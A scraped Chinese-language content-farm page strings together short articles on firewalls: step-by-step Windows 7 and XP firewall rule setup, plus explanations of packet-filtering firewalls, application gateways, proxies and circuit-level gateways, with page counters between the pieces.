2004年的第1月,SuSE嫁到了Novell,SCO继续顶着骂名四处强行“化缘”, Asianux, MandrakeSoft也在五年中首次宣布季度赢利。3月,SGI宣布成功实现了Linux操作系统支持256个Itanium 2处理器。
看了“ linux防火墙设置规则怎么样”文章的还看了:
浏览量:2
下载量:0
时间:
我的win7防火墙想要设置下阻止其他程序!怎么样设置好呢?下面由读文网小编给你做出详细的win7防火墙设置阻止规则介绍!希望对你有帮助!
1、点击开始,点击控制面板;
2、点击windows防火墙;
3、点击高级设置;
4、点击出站规则,点击新建规则;
5、点击程序,点击下一步;
6、输入ie浏览器所在位置,例如%ProgramFiles% (x86)Internet Exploreriexplore.exe,点击下一步;
7、点击阻止连接,点击下一步;
8、勾选域、专用和公用,点击下一步;
9、输入名称,点击完成即可。
看了“win7防火墙如何设置阻止规则 ”文章的还看了:
浏览量:3
下载量:0
时间:
xp防火墙想要设置一下!用什么方法去设置呢?下面由读文网小编给你做出详细的xp防火墙设置规则介绍!希望对你有帮助!
你必须用系统管理员账号进入系统,或者你在组策略中设置了禁止更改。
如何进入组策略编辑器:点开始……运行
输入gpedit.msc回车
就进入组策略编辑器了,在管理模板……网络……网络连接……防火墙中进行设置。
看了“xp防火墙设置规则怎么样 ”文章的还看了:
浏览量:2
下载量:0
时间:
我们电脑的xp系统!你会不会去添加防火墙规则呢?下面由读文网小编给你做出详细的xp添加防火墙规则方法介绍!希望对你有帮助!
在电脑右下角鼠标右键点击本地连接,进入更改防火墙设置
在防火墙设置中点击--例外
在例外中点击--添加端口
在添加端口界面填写需要设置的端口号,然后选择TCP或者UDP就行了。
看了“ xp防火墙规则如何添加”文章的还看了:
浏览量:2
下载量:0
时间:
包过滤防火墙的工作原理及特点是什么呢?小编来为你详细介绍!下面由读文网小编给你做出详细的包过滤防火墙的工作原理及特点介绍!希望对你有帮助!
在Linux系统下,包过滤功能是内建于核心的(作为一个核心模块,或者直接内建),同时还有一些可以运用于数据包之上的技巧,不过最常用的依然是查看包头以决定包的命运。
包过滤防火墙将对每一个接收到的包做出允许或拒绝的决定。具体地讲,它针对每一个数据包的包头,按照包过滤规则进行判定,与规则相匹配的包依据路由信息继续转发,否则就丢弃。
包过滤是在IP层实现的,包过滤根据数据包的源IP地址、目的IP地址、协议类型(TCP包、UDP包、ICMP包)、源端口、目的端口等包头信息及数据包传输方向等信息来判断是否允许数据包通过。
包过滤也包括与服务相关的过滤,这是指基于特定的服务进行包过滤,由于绝大多数服务的监听都驻留在特定TCP/UDP端口,因此,为阻断所有进入特定服务的链接,防火墙只需将所有包含特定TCP/UDP目的端口的包丢弃即可。
看了“ 包过滤防火墙的工作原理及特点怎么样”文章的还看了:
浏览量:2
下载量:0
时间:
对于包过滤防火墙你了解多少呢?它的具体功能是怎么样的?下面由读文网小编给你做出详细的包过滤防火墙的功能介绍!希望对你有帮助!
它可通过监测、限制、更改跨越防火墙的数据流,尽可能地对外部屏蔽网络内部的信息、结构和运行状况, 以此来实现网络的安全保护。
在逻辑上,防火墙是一个分离器,一个限制器,也是一个分析器,有效地监控了内部网和Internet之间的任何活动, 保证了内部网络的安全。
2.使用Firewall的益处
保护脆弱的服务
通过过滤不安全的服务,Firewall可以极大地提高网络安全和减少子网中主机的风险。例如, Firewall可以禁止NIS、NFS服务通过,Firewall同时可以拒绝源路由和ICMP重定向封包。
控制对系统的访问
Firewall可以提供对系统的访问控制。如允许从外部访问某些主机,同时禁止访问另外的主机。例如, Firewall允许外部访问特定的Mail Server和Web Server。
集中的安全管理
Firewall对企业内部网实现集中的安全管理,在Firewall定义的安全规则可以运行于整个内部网络系统, 而无须在内部网每台机器上分别设立安全策略。Firewall可以定义不同的认证方法, 而不需要在每台机器上分别安装特定的认证软件。外部用户也只需要经过一次认证即可访问内部网。
增强的保密性
使用Firewall可以阻止攻击者获取攻击网络系统的有用信息,如Figer和DNS。
记录和统计网络利用数据以及非法使用数据
Firewall可以记录和统计通过Firewall的网络通讯,提供关于网络使用的统计数据,并且,Firewall可以提供统计数据, 来判断可能的攻击和探测。
策略执行Firewall提供了制定和执行网络安全策略的手段。未设置Firewall时,网络安全取决于每台主机的用户。
3.防火墙的种类
防火墙总体上分为包过滤、应用级网关和代理服务器等几大类型。
数 据 包 过 滤
数据包过滤(Packet Filtering)技术是在网络层对数据包进行选择,选择的依据是系统内设置的过滤逻辑, 被称为访问控制表(Access Control Table)。通过检查数据流中每个数据包的源地址、目的地址、所用的端口号、 协议状态等因素,或它们的组合来确定是否允许该数据包通过。 数据包过滤防火墙逻辑简单,价格便宜,易于安装和使用, 网络性能和透明性好,它通常安装在路由器上。路由器是内部网络与Internet连接必不可少的设备, 因此在原有网络上增加这样的防火墙几乎不需要任何额外的费用。
数据包过滤防火墙的缺点有二:一是非法访问一旦突破防火墙,即可对主机上的软件和配置漏洞进行攻击; 二是数据包的源地址、目的地址以及IP的端口号都在数据包的头部,很有可能被窃听或假冒。
应 用 级 网 关
应用级网关(Application Level Gateways)是在网络应用层上建立协议过滤和转发功能。 它针对特定的网络应用服务协议使用指定的数据过滤逻辑,并在过滤的同时,对数据包进行必要的分析、 登记和统计,形成报告。实际中的应用网关通常安装在专用工作站系统上。
数据包过滤和应用网关防火墙有一个共同的特点,就是它们仅仅依靠特定的逻辑判定是否允许数据包通过。 一旦满足逻辑,则防火墙内外的计算机系统建立直接联系, 防火墙外部的用户便有可能直接了解防火墙内部的网络结构和运行状态,这有利于实施非法访问和攻击。
代理服务(Proxy Service)也称链路级网关或TCP通道(Circuit Level Gateways or TCP Tunnels), 也有人将它归于应用级网关一类。它是针对数据包过滤和应用网关技术存在的缺点而引入的防火墙技术, 其特点是将所有跨越防火墙的网络通信链路分为两段。防火墙内外计算机系统间应用层的 链接, 由两个终止代理服务器上的 链接来实现,外部计算机的网络链路只能到达代理服务器, 从而起到了隔离防火墙内外计算机系统的作用。
看了“ 包过滤防火墙的功能怎么样”文章的还看了:
浏览量:2
下载量:0
时间:
我们经常所说的包过滤防火墙!它到底有什么缺点呢?下面由读文网小编给你做出详细的包过滤防火墙的缺点介绍!希望对你有帮助!
1.不能防范恶意内部用户.
2.不能防范不通过防火墙的连接.
3.不能防范全部的威胁.
4.不能防范病毒.
看了“包过滤防火墙的缺点有什么 ”文章的还看了:
浏览量:14
下载量:0
时间:
对于包过滤防火墙的缺点你知道有几个呢?下面由读文网小编给你做出详细的包过滤防护期缺点介绍!希望对你有帮助!
1.能够强化安全策略.
2.能够有效记录internet上的活动.
3.是一个安全的检查站.
浏览量:7
下载量:0
时间:
包过滤防火墙是我们经常用到的!那么它的作用是什么呢?下面由读文网小编给你做出详细的包过滤防火墙的作用介介绍!希望对你有帮助!
1.在互联网上,每个UNIX高手都有办法让网络管理员的日子过得很忙碌,黑客们只需有个人电脑、调制解调器和足够的时间就可以兴风作浪。黑客族、小偷和破坏者都以入他人电脑为乐。
想隔离互联网上的破坏者,就必须使用防火墙,防火墙是联接区域网络和Internet供应商路由器的“桥梁”电脑。这些硬件专门设计用来拦截并过滤信息,只让符合严格安全标准的信息通过。防火墙一般分为两大类:网络层级和应用程式层级。
网络层级的防火墙会拦截所有尝试进出网络的封包,扫描它的位址标题以确认出发处,检查规则会决定要接受或拒绝这个封包。
应用层级的防火墙利用一个和网络隔离的机器担任,由它执行新闻组、http、ftp、telnet和其他服务的代理程序。当防火墙内的电脑提出要求Internet连线服务时
代理服务器(Proxyserver)会主动过滤这项要求。对于这项要求联接另一端的电脑而言,联墙讯息仿佛是绝对无法和防火墙内的电脑直接联接。由于防火墙像是进出网络的交通枢纽,所以可以由它们增加企业对网络使用的限制。( 引用talentleon 回答 )
2.防火墙的最主要作用就是防止非法的对计算机进行访问,例如黑客的攻击。防火墙使用防止网络病毒的,普通的实施监控是防止电脑正常运行时的病毒
浏览量:3
下载量:0
时间:
我们经常说的包过滤防火墙是工作在什么地方的呢?小编来告诉你!下面由读文网小编给你做出详细的包过滤防火墙工作地方介绍!希望对你有帮助!
过滤防火墙工作在网络协议IP层,它只对IP包的源地址、目标地址及相应端口进行处理,因此速度比较快,能够处理的并发连接比较多,缺点是对应用层的攻击无能为力。
代理服务器防火墙将收到的IP包还原成高层协议的通讯数据,比如http连接信息,因此能够对基于高层协议的攻击进行拦截。
缺点是处理速度比较慢,能够处理的并发数比较少。代理服务器是防火墙技术的发展方向,众多厂商都在提高处理速度的同时基于代理开发防火墙的更高级防护功能。
浏览量:4
下载量:0
时间:
包过滤防火墙都是运用在什么地方的呢?应用路径有哪些呢?下面由读文网小编给你做出详细的包过滤防火墙应用介绍!希望对你有帮助!
包过滤型防火墙 实现费用最少!
电路级网关
电路级网关用来监控受信任的客户或服务器与不受信任的主机间的TCP握手信息,这样来决定该会话是否合法,电路级网关是在OSI模型中会话层上来过滤数据包,这样比包过滤防火墙要高两层。
另外,电路级网关还提供一个重要的安全功能:网络地址转移(NAT)将所有公司内部的IP地址映射到一个“安全”的 IP地址,这个地址是由防火墙使用的。有两种方法来实现这种类型的网关,一种是由一台主机充当筛选路由器而另一台充当应用级防火墙。
另一种是在第一个防火墙主机和第二个之间建立安全的连接。这种结构的好处是当一次攻击发生时能提供容错功能。
应用级网关
应用级网关可以工作在OSI七层模型的任一层上,能够检查进出的数据包,通过网关复制传递数据,防止在受信任服务器和客户机与不受信任的主机间直接建立联系。应用级网关能够理解应用层上的协议,能够做复杂一些的访问控制,并做精细的注册。
通常是在特殊的服务器上安装软件来实现的。
包过滤
包过滤是处理网络上基于packet-by-packet流量的设备。包过滤设备允许或阻止包,典型的实施方法是通过标准的路由器。包过滤是几种不同防火墙的类型之一,在本课后面我们将做详细地讨论。
看了“ 包过滤防火墙应用在什么地方”文章的还看了:
浏览量:6
下载量:0
时间: